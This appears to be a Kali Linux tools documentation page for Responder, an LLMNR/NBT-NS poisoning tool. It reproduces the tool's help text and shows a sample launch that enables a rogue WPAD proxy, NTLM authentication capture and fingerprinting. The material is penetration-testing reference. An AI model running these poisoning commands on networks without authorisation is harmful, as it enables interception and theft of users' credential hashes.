responder Package Description

This tool is first an LLMNR and NBT-NS responder, it will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answers to File Server Service request, which is for SMB. The concept behind this, is to target our answers, and be stealthier on the network. This also helps to ensure that we don’t break legitimate NBT-NS behavior. You can set the -r option to 1 via command line if you want this tool to answer to the Workstation Service request name suffix.

Source: https://github.com/SpiderLabs/Responder
responder Homepage | Kali responder Repo

• Author: Trustwave Holdings, Inc., Laurent Gaffie
• License: GPLv3

Tools included in the responder package

responder – NBT-NS/LLMNR Responder

[email protected]:~# responder -h
Usage: python /usr/bin/responder -i 10.20.30.40 -b On -r On

Options:
  -h, --help            show this help message and exit
  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
                        BROWSER, LLMNR requests from which workstation to
                        which workstation without poisoning anything.
  -i 10.20.30.40, --ip=10.20.30.40
                        The ip address to redirect the traffic to. (usually
                        yours)
  -I eth0, --interface=eth0
                        Network interface to use
  -b Off, --basic=Off   Set this to On if you want to return a Basic HTTP
                        authentication. Off will return an NTLM
                        authentication.This option is mandatory.
  -r Off, --wredir=Off  Set this to enable answers for netbios wredir suffix
                        queries. Answering to wredir will likely break stuff
                        on the network (like classics 'nbns spoofer' will).
                        Default value is therefore set to Off
  -f Off, --fingerprint=Off
                        This option allows you to fingerprint a host that
                        issued an NBT-NS or LLMNR query.
  -w On, --wpad=On      Set this to On or Off to start/stop the WPAD rogue
                        proxy server. Default value is Off
  -F Off, --ForceWpadAuth=Off
                        Set this to On or Off to force NTLM/Basic
                        authentication on wpad.dat file retrieval. This might
                        cause a login prompt in some specific cases. Default
                        value is Off
  --lm=Off              Set this to On if you want to force LM hashing
                        downgrade for Windows XP/2003 and earlier. Default
                        value is Off
  -v                    More verbose

responder Usage Example

Specify the IP address to redirect to (-i 192.168.1.202), enabling the WPAD rogue proxy (-w On), answers for netbios wredir (-r On), and fingerprinting (-f On):

[email protected]:~# responder -i 192.168.1.202 -w On -r On -f On
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: [email protected]
To kill this script hit CRTL-C

[+]NBT-NS & LLMNR responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface:ALL
Challenge set is:1122334455667788
WPAD Proxy Server is:ON
WPAD script loaded:function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server is:ON
HTTPS Server is:ON
SMB Server is:ON
SMB LM support is set to:OFF
SQL Server is:ON
FTP Server is:ON
IMAP Server is:ON
POP3 Server is:ON
SMTP Server is:ON
DNS Server is:ON
LDAP Server is:ON
FingerPrint Module is:ON
Serving Executable via HTTP&WPAD is:OFF
Always Serving a Specific File via HTTP&WPAD is:OFF